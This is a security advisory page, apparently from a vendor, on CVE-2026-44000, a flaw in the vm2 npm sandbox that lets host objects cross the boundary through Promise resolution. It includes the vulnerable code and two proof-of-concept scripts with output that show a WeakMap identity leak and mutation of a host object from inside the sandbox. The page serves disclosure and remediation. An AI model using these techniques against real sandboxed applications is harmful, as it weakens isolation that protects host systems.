CVE-2026-44000

CVE-2026-44000 is a medium-severity security vulnerability in vm2 (npm), affecting versions <= 3.10.5. It is fixed in 3.11.0.

Summary

A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.

When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including:

  • Performing identity checks using host-side WeakMap
  • Mutating host object state from inside the sandbox

This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object.

As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.

Details

In setup-sandbox.js, vm2 wraps Promise.prototype.then:

globalPromise.prototype.then = function then(onFulfilled, onRejected) {
  resetPromiseSpecies(this);

  if (typeof onFulfilled === 'function') {
    const origOnFulfilled = onFulfilled;
    onFulfilled = function onFulfilled(value) {
      value = ensureThis(value);
      return apply(origOnFulfilled, this, [value]);
    };
  }

  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};


The wrapper calls ensureThis(value) before invoking the sandbox callback.

However, ensureThis is implemented in bridge.js as thisEnsureThis():

function thisEnsureThis(other) {
  const type = typeof other;

  switch (type) {
    case 'object':
      if (other === null) return null;

    case 'function':
      let proto = thisReflectGetPrototypeOf(other);

      if (!proto) {
        return other;
      }

      while (proto) {
        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);

        if (mapping) {
          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);
          if (mapped) return mapped;
          return mapping(defaultFactory, other);
        }

        proto = thisReflectGetPrototypeOf(proto);
      }

      return other;

If no prototype mapping is found, ensureThis() simply returns the original object:

return other;

This means the sandbox receives the original host object instead of a proxied or sanitized representation.

Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.

PoC

The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.

WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.

PoC Code
import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ"};
const hostPromise = Promise.resolve(hostObj);

// WeakMap created on the host
const wm = new WeakMap([[hostObj, "HIT"]]);

const vm = new VM({
  sandbox: {hostPromise, wm},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => ({
    weakMapGet: wm.get(v),
    typeofV: typeof v,
    tag: v.tag
  }))
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST SAME KEY STILL:", wm.get(hostObj));
Output
VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }
HOST SAME KEY STILL: HIT

This confirms that the object delivered to the sandbox callback retains host identity.

Additional Demonstration: Host Object Mutation

The sandbox can also mutate host object state through the resolved Promise value.

import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ", nested: {x: 1}};
const hostPromise = Promise.resolve(hostObj);

const vm = new VM({
  sandbox: {hostPromise},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => {
    v.nested.x = 999;
    v.tag = "MUTATED";
    return { seenTag: v.tag, seenX: v.nested.x };
  })
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST AFTER:", hostObj);

**Output:**
VM RESULT: { seenTag: 'MUTATED', seenX: 999 }
HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }

This demonstrates write-through mutation of a host object from sandbox code.

**Impact**
This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.

Consequences include:

Host object identity disclosure

Write-through mutation of host objects

WeakMap / WeakSet identity oracle across the boundary

Potential capability leaks if sensitive host objects are reachable via Promises

Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.

This weakens the intended isolation guarantees of vm2.

Impact

CVE-2026-44000 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.0); upgrading removes the vulnerable code path.

Affected versions

vm2 (<= 3.10.5)

Security releases

vm2 → 3.11.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade vm2 to 3.11.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-44000? CVE-2026-44000 is a medium-severity security vulnerability in vm2 (npm), affecting versions <= 3.10.5. It is fixed in 3.11.0.
  2. How severe is CVE-2026-44000? CVE-2026-44000 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vm2 are affected by CVE-2026-44000? vm2 (npm) versions <= 3.10.5 is affected.
  4. Is there a fix for CVE-2026-44000? Yes. CVE-2026-44000 is fixed in 3.11.0. Upgrade to this version or later.
  5. Is CVE-2026-44000 exploitable, and should I be worried? Whether CVE-2026-44000 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-44000 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-44000? Upgrade vm2 to 3.11.0 or later.

Other vulnerabilities in vm2

CVE-2026-47141CVE-2026-47139CVE-2026-47140CVE-2026-47210CVE-2026-47137

Stop the waste.
Protect your environment with Kodem.